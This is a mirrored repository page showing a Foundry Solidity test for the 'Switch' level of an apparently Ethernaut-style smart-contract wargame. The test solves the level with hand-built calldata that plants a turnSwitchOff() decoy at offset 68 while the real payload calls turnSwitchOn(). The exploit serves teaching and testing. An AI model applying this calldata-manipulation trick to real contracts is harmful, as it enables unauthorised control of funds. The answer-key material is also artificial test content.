mirror of
https://github.com/lux-apps/game.git
synced 2026-10-30 18:15:14 +00:00
zeekayandHanzo Dev
8c2e9e3d6f
Each level test proves a fresh instance is unsolved, runs the reference exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux records completion. Motorbike stops at seizing the uninitialised Engine: its "engine destroyed" completion needs selfdestruct to delete code, which EIP-6780 forbids across transactions on the Cancun baseline, so the test proves the seizure and documents the limit. Co-authored-by: Hanzo Dev <[email protected]>
41 lines
1.3 KiB
Solidity
41 lines
1.3 KiB
Solidity
// SPDX-License-Identifier: MIT
|
|
pragma solidity 0.8.37;
|
|
|
|
import {LuxTest} from "../Base.t.sol";
|
|
import {SwitchFactory} from "../../src/levels/SwitchFactory.sol";
|
|
import {Switch} from "../../src/levels/Switch.sol";
|
|
|
|
contract SwitchLevel is LuxTest {
|
|
SwitchFactory factory;
|
|
address player = makeAddr("player");
|
|
|
|
function setUp() public {
|
|
_deployCore();
|
|
factory = new SwitchFactory();
|
|
_register(factory);
|
|
}
|
|
|
|
function test_solve() public {
|
|
address instance = _create(factory, player, 0);
|
|
_assertUnsolved(instance, player);
|
|
|
|
// Craft calldata so the byte at offset 68 is turnSwitchOff() (passing
|
|
// onlyOff) while the real bytes payload, pointed past the decoy, is
|
|
// turnSwitchOn().
|
|
bytes memory payload = abi.encodePacked(
|
|
bytes4(0x30c13ade), // flipSwitch(bytes)
|
|
uint256(0x60), // offset to the bytes arg
|
|
uint256(0), // filler
|
|
bytes4(0x20606e15), bytes28(0), // offset 68: turnSwitchOff() decoy
|
|
uint256(4), // real data length
|
|
bytes4(0x76227e12), bytes28(0) // turnSwitchOn()
|
|
);
|
|
vm.prank(player, player);
|
|
(bool ok,) = instance.call(payload);
|
|
require(ok, "flipSwitch failed");
|
|
|
|
assertTrue(Switch(instance).switchOn());
|
|
_assertSolved(factory, instance, player);
|
|
}
|
|
}
|